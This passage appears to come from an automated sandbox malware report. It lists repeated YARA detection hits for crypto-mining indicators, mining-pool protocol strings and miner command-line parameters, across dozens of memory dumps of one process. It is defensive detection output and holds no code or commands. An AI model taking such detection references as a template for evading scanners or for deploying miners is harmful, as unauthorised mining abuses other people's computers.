                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96505520371.00000000041BA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96512829013.000000000421E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96512829013.000000000421E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96493513444.0000000004132000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96493513444.0000000004132000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96502543117.0000000004198000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96502543117.0000000004198000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96484960707.00000000040D4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96484960707.00000000040D4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96513802159.0000000004228000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96513802159.0000000004228000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96522286357.000000000428A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96522286357.000000000428A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96520021483.0000000004274000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96520021483.0000000004274000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96503195421.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96503195421.00000000041A0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96525099856.00000000042AE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96525099856.00000000042AE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96506039535.00000000041C2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96506039535.00000000041C2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96524770023.00000000042AA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96524770023.00000000042AA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96496850893.000000000415A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96496850893.000000000415A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96482548301.00000000040B8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96482548301.00000000040B8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96516842735.000000000424C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96516842735.000000000424C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96512513539.000000000421A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96512513539.000000000421A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96486794997.00000000040E8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96486794997.00000000040E8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96489111177.00000000040FE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96489111177.00000000040FE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96504242508.00000000041AC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96504242508.00000000041AC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96495656268.000000000414A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96495656268.000000000414A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96508416582.00000000041E2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96508416582.00000000041E2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96511250504.000000000420A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96511250504.000000000420A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96507847585.00000000041DA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96507847585.00000000041DA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96499720438.0000000004178000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96499720438.0000000004178000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96495952913.000000000414E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96495952913.000000000414E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96503809395.00000000041A8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96503809395.00000000041A8000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96525802906.00000000042B6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96525802906.00000000042B6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96514229404.000000000422C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96514229404.000000000422C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96510987023.0000000004206000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96510987023.0000000004206000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96509637486.00000000041F2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96509637486.00000000041F2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96509367811.00000000041EE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96509367811.00000000041EE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96484291302.00000000040CC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96484291302.00000000040CC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96516569823.0000000004248000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96516569823.0000000004248000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96505011287.00000000041B6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96505011287.00000000041B6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96523003554.0000000004292000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96523003554.0000000004292000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96519269299.000000000426C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96519269299.000000000426C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96508724996.00000000041E6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96508724996.00000000041E6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96493821500.0000000004136000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96493821500.0000000004136000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96485642447.00000000040DC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96485642447.00000000040DC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96500459470.0000000004180000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96500459470.0000000004180000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96491263772.000000000411A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96491263772.000000000411A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96490205304.000000000410E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96490205304.000000000410E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96470845073.0000000004019000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96470845073.0000000004019000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96492560596.0000000004126000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96492560596.0000000004126000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96523539172.000000000429A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96523539172.000000000429A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96488694715.00000000040FA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96488694715.00000000040FA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96486043675.00000000040E0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96486043675.00000000040E0000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96492928220.000000000412A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96492928220.000000000412A000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96502795991.000000000419C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96502795991.000000000419C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96517135824.0000000004250000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96517135824.0000000004250000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96482100911.00000000040B4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96482100911.00000000040B4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96502259524.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96502259524.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96494546017.000000000413E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96494546017.000000000413E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96506826752.00000000041CE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96506826752.00000000041CE000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96496549713.0000000004156000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96496549713.0000000004156000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96510224016.00000000041FA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96510224016.00000000041FA000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96518050640.000000000425C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96518050640.000000000425C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96507081750.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96507081750.00000000041D2000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96519619571.0000000004270000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96519619571.0000000004270000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96511530707.000000000420E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96511530707.000000000420E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96486432740.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96486432740.00000000040E4000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96498087961.0000000004168000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96498087961.0000000004168000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96494956682.0000000004142000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96494956682.0000000004142000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96491680354.000000000411E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96491680354.000000000411E000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96524423762.00000000042A6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96524423762.00000000042A6000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96501508624.000000000418C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96501508624.000000000418C000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96516178254.0000000004244000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96516178254.0000000004244000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96521906740.0000000004286000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96521906740.0000000004286000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96489625963.0000000004106000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96489625963.0000000004106000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96482848533.00000000040BC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: PUA_Crypto_Mining_CommandLine_Indicators_Oct21, Description: Detects command line parameters often used by crypto mining software, Source: 0000001D.00000002.96482848533.00000000040BC000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
                                                                              • Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, Source: 0000001D.00000002.96521574784.0000000004282000.00000004.00000800.00020000.00000000.sdmp, Author: Florian Roth
